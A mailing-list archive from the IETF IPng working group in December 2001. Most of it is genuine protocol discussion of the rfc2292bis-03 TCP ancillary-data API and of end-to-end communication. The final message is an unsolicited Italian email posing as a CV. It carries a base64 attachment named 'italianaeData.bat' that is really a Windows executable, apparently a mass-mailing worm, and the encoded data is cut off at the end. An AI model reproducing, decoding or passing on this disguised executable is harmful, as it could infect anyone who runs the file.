(shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA00969 for ; Fri, 14 Dec 2001 02:16:21 -0700 (MST) Received: from localhost ([3ffe:507:1ff:4:c833:13b2:7fed:9ba3]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBE9GA314694; Fri, 14 Dec 2001 18:16:10 +0900 (JST) Date: Fri, 14 Dec 2001 18:16:07 +0900 Message-ID: From: JINMEI Tatuya / =?SHIFT_JIS?Q?=BF=C0=CC=C0=C3=A3=BA=C8?= To: Vlad Yasevich Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: <3C1AFE62.E156CC0A@zk3.dec.com> References: <200111301856.KAA29712@feller.mentat.com> <3C1AFE62.E156CC0A@zk3.dec.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 74 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Sat, 15 Dec 2001 02:40:18 -0500, >>>>> Vlad Yasevich said: > Since you are soliciting comments from implementors, here are my > opionions about the change ( I was going to wait until I got to work). Thanks for the prompt response (and sorry for urging you. If anyone of you are going to show an opinion after doing some work or check on the implementation, I'm of course willing to wait for the answer.) > I beleave the the 2292bis-02 definition and TCP implications were > fine. I was curious about the reasons this was put in the draft. > You said at the meeting that you did this for security/access control > reasons. I don't think that this was necessary. The send-only sockets > do not really have a recieve side access control since > the are "send only". Also, for SIN/FIN/RST packets, since there is > no data that comes to the application, the application did not > really need to know about the socket options supplied. The app can find > that out when it gets the first data packet at does access control > stuff. Perhaps I was not very clear at the presentation. The reason for the change (in 03) is NOT security. I intended to say: Despite the change with using recvmsg(), the previous (i.e. before rfc2292bis-03) spec cannot follow all the changes on received segments. Thus, it cannot be used for security (e.g. access control) purposes (we need to follow the changes perfectly if we use the mechanism for security.) Of course, the 03 behavior (like the one in RFC 2292) cannot be used for security purposes either. With this reality, the received optional information can only be used as "informational" in the sense of the word. This also means that it is meaningless to try to receive the optional information for as many received segments as possible. So, using recvmsg() with ancillary data has less advantage over the RFC 2292 behavior, at least IMHO. Meanwhile, using recvmsg() causes additional issues, such as impact on the socket semantics or the "send-only apps" problem, which did not exist in the RFC 2292 behavior. As for the ability to receive optional information at a send-only application, it might be true that there is less meaningful usage of the ability. But, anyway, RFC 2292 (and 2292bis-03) provides the ability, while rfc2292bis-02 (and earlier) does not. In summary, the rfc2292bis-02 behavior has disadvantage over the RFC2292 behavior without an (less) advantage. That's why I, for one, prefer the 03 behavior. But I admit that the advantage (03 over 02) is not so big and one may say that the advantage is not worth the change. (perhaps I should have just put the issue in the "open issues" section. that was my bad.) And, of course, either approach has impact on existing implementations, and the impact depends on the spec that the implementations are using. As I said in the presentation, the 02 approach affects RFC2292-based implementations much, and the 03 approach affects 02 (or earlier) based implementations much. So I'd like to hear from other implementors. Again, though I prefer the 03 behavior, I know (and understand) some other people dislike it. I'll hear from others, and will obey the consensus. I hope I'm clearer this time. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 14 01:42:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE9gBFp005058 for ; Fri, 14 Dec 2001 01:42:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBE9gApR005057 for ipng-dist; Fri, 14 Dec 2001 01:42:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE9g7Fp005050 for ; Fri, 14 Dec 2001 01:42:08 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA27857 for ; Fri, 14 Dec 2001 01:42:09 -0800 (PST) Received: from nebula.sm.sony.co.jp (nebula.sm.sony.co.jp [133.138.10.5]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA02832 for ; Fri, 14 Dec 2001 02:42:47 -0700 (MST) Received: from nest.sm.sony.co.jp (localhost [[UNIX: localhost]]) by nebula.sm.sony.co.jp (8.11.6/8.11.3) with ESMTP id fBE9g4v16233 for ; Fri, 14 Dec 2001 18:42:04 +0900 (JST) Received: (from onoe@localhost) by nest.sm.sony.co.jp (8.11.6/8.11.3) id fBE9ffl00994; Fri, 14 Dec 2001 02:41:41 -0700 (MST) Date: Fri, 14 Dec 2001 02:41:41 -0700 (MST) From: Atsushi Onoe Message-Id: <200112140941.fBE9ffl00994@nest.sm.sony.co.jp> To: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: Your message of "Fri, 14 Dec 2001 10:26:15 +0900" References: X-Mailer: Cue version 0.6 (011127-0052/onoe) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > As I said in the today's meeting, please speak up about your opinions, > if you're interested in implementing the API. I'd like to collect the > opinions, and will soon revise the draft based on consensus. I think the current (-03, and RFC 2292) definition is fine. For 2292 implementors, there is no new benefit introduced by recvmsg() in previous revision of the draft. Even use of recvmsg(), an application cannot follow the changes of extension headers of duplicated segment, ACK, RST, FIN. Actually, I believe most of TCP applications will use neither of recvmsg() or getsockopt() to get extention headers or some other infomration, because the connection establishment using SYN/ACK is automatically made regardless application's behavior. So I prefer simplest definition to implement such feature if it is included in the specification. That's why I think current specification (-03 draft) is better. Atsushi Onoe -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 14 02:10:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBEAA8Fp005092 for ; Fri, 14 Dec 2001 02:10:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBEAA8rA005091 for ipng-dist; Fri, 14 Dec 2001 02:10:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBEAA4Fp005084 for ; Fri, 14 Dec 2001 02:10:04 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA00535 for ; Fri, 14 Dec 2001 02:10:06 -0800 (PST) Received: from theory.cs.uni-bonn.de (theory.cs.uni-bonn.de [131.220.4.211]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA17077 for ; Fri, 14 Dec 2001 03:10:05 -0700 (MST) Received: (from ignatios@localhost) by theory.cs.uni-bonn.de (8.9.1a/8.9.1) id LAA28308 for ipng@sunroof.eng.sun.com; Fri, 14 Dec 2001 11:10:04 +0100 (MET) Date: Fri, 14 Dec 2001 11:10:03 +0100 From: Ignatios Souvatzis Cc: ipng@sunroof.eng.sun.com Subject: Re: demand for end-to-end communication? Message-ID: <20011214111003.A27924@theory.cs.uni-bonn.de> References: <92C0C0AC8AE8D411864300105A835CBB5016C6@stslex.siemens.com.tw> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="M9NhX3UHpAaciwkO" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <92C0C0AC8AE8D411864300105A835CBB5016C6@stslex.siemens.com.tw>; from moter_du@stsl.siemens.com.tw on Fri, Dec 14, 2001 at 02:12:37PM +0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --M9NhX3UHpAaciwkO Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Dec 14, 2001 at 02:12:37PM +0800, Moter Du wrote: > Appreciate your comments. Only people convinced e2e will benifit their > daily life and get better results, will drop their indirect communication > services which they live with. Then the need for IPv6 becomes common > consensus of all. >=20 > Is there already something describing which applications would be > impractical without e2e transparency? Many thanks. Any application that is supposed to work without third party services. -is --M9NhX3UHpAaciwkO Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQEVAgUBPBnP9zCn4om+4LhpAQF1VQf/X0YXGlAentlj8dwP9vyprlR9OtM4gZZy V+De9Tp5hY0TgNNjNW8pRAM9tWYp5Q7qHkRgqAz7vvV3nXu+Ha7p2RdC8SUGDwIg FojdhpACBxJk43ZJ5I0G0HXQeftV8MBYyT+s8pCoX0fKOtDWr/FTXArNm1Bdi9u0 aLH1o0kZe2S4O5ehINBsx/bsqNZebHzhTKHZ504jde0AxWRxbbevMTmBdKUW9bQc 957BwLoVgqNfD+l7Y2Nhtr3iXaqn3vig1Wpo5MuIqQTjX5KUT/ddWBceO5e3wW0M YeTO12CvAKSQppUDnxdpXx/kYHCh9Wp/IFBzR3DG4wB2eyD5NuqWXA== =Z53+ -----END PGP SIGNATURE----- --M9NhX3UHpAaciwkO-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From mfrivot@tiscalinet.it Fri Dec 14 02:28:04 2001 Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBEAS3Fp005145; Fri, 14 Dec 2001 02:28:03 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA14906; Fri, 14 Dec 2001 02:28:04 -0800 (PST) Received: from mail.tiscalinet.it (mail-5.tiscalinet.it [195.130.225.151]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA00189; Fri, 14 Dec 2001 03:27:36 -0700 (MST) Received: from smtp.tiscalinet.it (62.10.35.161) by mail.tiscalinet.it (5.5.053) id 3C067F2A005DB024; Fri, 14 Dec 2001 11:27:45 +0100 Date: Fri, 14 Dec 2001 11:27:45 +0100 (added by postmaster@mail.tiscalinet.it) Message-ID: <3C067F2A005DB024@mail.tiscalinet.it> (added by postmaster@mail.tiscalinet.it) FROM: Angelo Merivot SUBJECT: Polito.it Angelo Merivot Dati X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C4_019DBC44.57CC4490" Content-Transfer-Encoding: 7bit To: undisclosed-recipients:; This is a multi-part message in MIME format. ------=_NextPart_000_00C4_019DBC44.57CC4490 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Titolo di studio: Diploma di perito elettronico presso l'Istituto Tecnico Industriale di Verrès con votazione di 60/60 nel 1995. Conoscenze: Ambienti operativi: Windows (95, 98 e NT), Linguaggio C su piattaforma Win32, Java: JavaScript, Applet e applicativi stand-alone, Office automation: WinWord, Excel. ------=_NextPart_000_00C4_019DBC44.57CC4490 Content-Type: application/octet-stream; name="italianaeData.bat" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="italianaeData.bat" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADugfUfquCbTKrgm0yq4JtM0fyXTKjgm0z3wpBMouCbTCn8lUy94JtM98KR TOPgm0yq4JpMLuCbTMj/iEym4JtMquCbTKPgm0xt5p1Mq+CbTEXCqkyi4JtMUmljaKrgm0wAAAAA AAAAAFBFAABMAQQAzG/rOQAAAADVwwAA4AAPAQsBBgAAAAEAABABAAAAAACdkAAAABAAAAAQAQAA AEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAACACAAAQAACcBQIAAgAAAAAAEAAAEAAAAAAQAAAQ AAAAAAAAEAAAAAAAAAAAAAAAgBgBAKAAAAAA8AEASCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAkAgAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA19AAAABAAAAAAAQAAEAAAAAAAAAAAAAAA AAAAIAAAYC5yZGF0YQAAZhQAAAAQAQAAIAAAABABAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADy7 AAAAMAEAAFAAAAAwAQAAAAAAAAAAAAAAAABAAADALnJzcmMAAAAAMAAAAPABAAAwAAAAgAEAAAAA AAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIsVtNJBAIHs FAIAADPJjUQkOFWNaWTHQPwwAAAAgeX//wAAxwAIAAAAiWgIM+2JUATHQBSgEEAAx0AQAwAAAIlo GEGDwDCD+Ql+yIuEJBwCAACJVCQQjVQkBI1MJDhSx0QkCDQAAADHRCQMKAAAAIlEJBDHRCQc0HRB AMdEJCAKAAAAiWwkJIlMJCj/FSgQQQBdgcQUAgAAw5CQkJCQkJCLRCQIVj0QAQAAD4e9AQAAD4Sd AQAAg/gPD4R0AQAAg/hOD4UVAgAAi0QkFItACAXQAAAAg/gID4cAAgAA/ySF5BJAAKHMdEEAg/gJ d33/JIUIE0AAi0wkCGoEagBocAQAAFH/FYgRQQBQ/xWYEUEAM8BewhAAi1QkCGoCagBocAQAAFL/ FYgRQQBQ/xWYEUEAM8BewhAAagHrBmoI6wJqBIt0JAxW6EUEAACDxAhqA2oAaHAEAABW/xWIEUEA UP8VmBFBADPAXsIQAItEJAhqA2oAaHAEAABQ/xWIEUEAUP8VmBFBADPAXsIQAKHMdEEAXkijzHRB ADPAwhAAgz3MdEEACHVji3QkCFbooAcAAIPEBIXAdRNq/1BW/xWgEUEAuAEAAABewhAAU1dqAGoA aGsEAABW/xWIEUEAUP8VmBFBAGgCfwAAagD/FZwRQQCLPYwRQQBQ/9dWi9joLyIAAIPEBFP/119b ocx0QQBeQKPMdEEAM8DCEACLdCQIVugMAQAAVuhmAgAAg8QIM8BewhAAiw3MdEEAi1QkCIHB6AMA AFFS6HYKAACDxAgzwF7CEACLRCQIUGgQHkAAUP8VlBFBALgBAAAAXsIQAD0RAQAAdEs9bAQAAHVi i0QkEIt0JAiD+AF1I4tEJBRQVv8VkBFBAIXAdBNWagBW/xWgEUEAuAEAAABewhAAagBqAFb/FaAR QQC4AQAAAF7CEACLRCQQi8jB6RB1E2Y9eAV1DYtUJAhS6LYHAACDxAQzwF7CEACQGhJAAJ0RQACM EUAA3RJAAN0SQADdEkAA3RJAAN0SQADkEEAAFhFAADcRQABrEUAAaxFAAD8RQABrEUAAaxFAAGsR QAA7EUAA9RBAAIHsmAIAAFOLHfgRQQBViy38EUEAVr5OBAAAV4l0JBDHRCQUTAQAAMdEJBhNBAAA x0QkHE8EAADHRCQgUAQAAMdEJCRRBAAAx0QkKFQEAADHRCQsUgQAAMdEJDBTBAAAx0QkNFUEAADH RCQ4VgQAAMdEJDxYBAAAx0QkQFkEAADHRCREWgQAAMdEJEhbBAAAx0QkTFwEAADHRCRQXgQAAMdE JFRhBAAAx0QkWGIEAADHRCRc/////418JBCLFbTSQQCNRCRgakCNTmRQUVL/FYQRQQCLhCSsAgAA VmoBaGwEAABQ/xWIEUEAUP8VABJBAIXAdGCNjCSgAAAAaP8AAABRVlD/02hsMEEAaFgwQQBoTDBB AI2UJLABAABoQDBBAFL/1Y2EJLQAAACNTCR0UI2UJLwBAABRUmgCAACA6B5fAACLdwSDxwSDxCSD /v8PhWf///9fXl1bgcSYAgAAw5CLRCQEgexoAgAAU2hgBAAAagFobAQAAFD/FYgRQQBQ/xUAEkEA M9s7ww+EvgAAAFVWV42MJHQBAABoBAEAAFFoYAQAAFD/FfgRQQChsNJBAI1UJGRoEAEAAFJqOFD/ FYQRQQCNfCRkg8n/M8CNVCRk8q5miw10MEEAx0QkEEQAAABmiU//jbwkdAEAAIPJ/4lcJBTyrvfR K/mJXCQYi/eL6Yv6g8n/8q6LzU/B6QLzpYvNjUQkVIPhA1DzpI1MJBSNVCRoUVNTaiBTU1NSU4lc JESJXCRkZolcJGhmiVwkaolcJGz/FVARQQBfXl1bgcRoAgAAw5CQkJCQkJCQkJCQZKEAAAAAav9o FgNBAFCLRCQUZIklAAAAAIHsWAQAAIP4AVNVVlcPhQIBAACKFdB0QQC5BwAAADPAjXwkPYhUJDyI VCQc86tmq7kHAAAAM8CNfCQd86tmq41EJBRQaBkAAgBqAGgQMUEAaAIAAID/FRwQQQCFwA+FKwMA AIs1EBBBAI1MJBCNVCQ8UYtMJBiNRCQcUlBqAL8fAAAAaAAxQQBRiXwkKP/WjVQkEI1EJBxSi1Qk GI1MJBxQUWoAaOgwQQBSiXwkKP/Wi0QkFFD/FSAQQQCLtCR4BAAAiz2QEUEAaEwEAABW/9eLHfAR QQBQ/9OLLfQRQQCFwHUNjUwkPFFoTAQAAFb/1WhPBAAAVv/XUP/ThcAPhYsCAACNVCQcUmhPBAAA Vv/V6XkCAACD+AgPhZAAAACNhCRcAQAAaAQBAABQ/xVAEUEAixW00kEAjYwkYAIAAGgEAQAAUWo5 Uv8VhBFBAI2EJGACAACNjCRcAQAAUFGNlCRsAwAAaOAwQQBS/xX8EUEAi7QkiAQAAIPEEGhgBAAA Vv8VkBFBAFD/FfARQQCFwA+F+QEAAI2EJGQDAABQaGAEAABW/xX0EUEA6eABAACD+AQPhdcBAACh yHRBADPtO8UPhcgBAACNTCQU6KgHAABVaNB0QQCNjCTkAAAAaIAAAABRaNAwQQBVjUwkLImsJIgE AADofwgAAIXAdHCLtCR4BAAAiz30EUEAjZQk3AAAAFJoXQQAAFb/141EJBBVUGi8MEEAVY1MJCSJ bCQg6KUJAACFwA+ENgEAAItEJBA7xQ+GKgEAAFCNTCRgaLQwQQBR/xX8EUEAg8QMjVQkXFJoXwQA AFb/1+kEAQAAaKgwQQD/FUQRQQCL2DvdD4TvAAAAiz1IEUEAaJAwQQBT/9doeDBBAFOL8P/XO/WL +A+ExgAAAGoBjUQkYGiAAAAAUP/Wi7QkhAQAAIst9BFBAIPEDI1MJFxRaF0EAABW/9WF/w+EkwAA AP/XhcCJRCQQdiNQjVQkYGi0MEEAUv8V/BFBAIPEDI1EJFxQaF8EAABW/9XrZo1MJBjoawYAAI1M JBBqAFFovDBBAGoAjUwkKMaEJIAEAAAB6KwIAACFwHQpi0QkEIXAdiFQjVQkYGi0MEEAUv8V/BFB AIPEDI1EJFxQaF8EAABW/9WNTCQYxoQkcAQAAADoTgYAAFP/FUwRQQCNTCQUxwXIdEEAAQAAAMeE JHAEAAD/////6CkGAACLjCRoBAAAX15dW2SJDQAAAACBxGQEAADDgezMBAAAjYQkyAEAAFaLtCTU BAAAV2gEAQAAUGhgBAAAVv8V+BFBAIqEJNABAACEwHVLixW00kEAiz2EEUEAjUwkCGpAUWoUUv/X 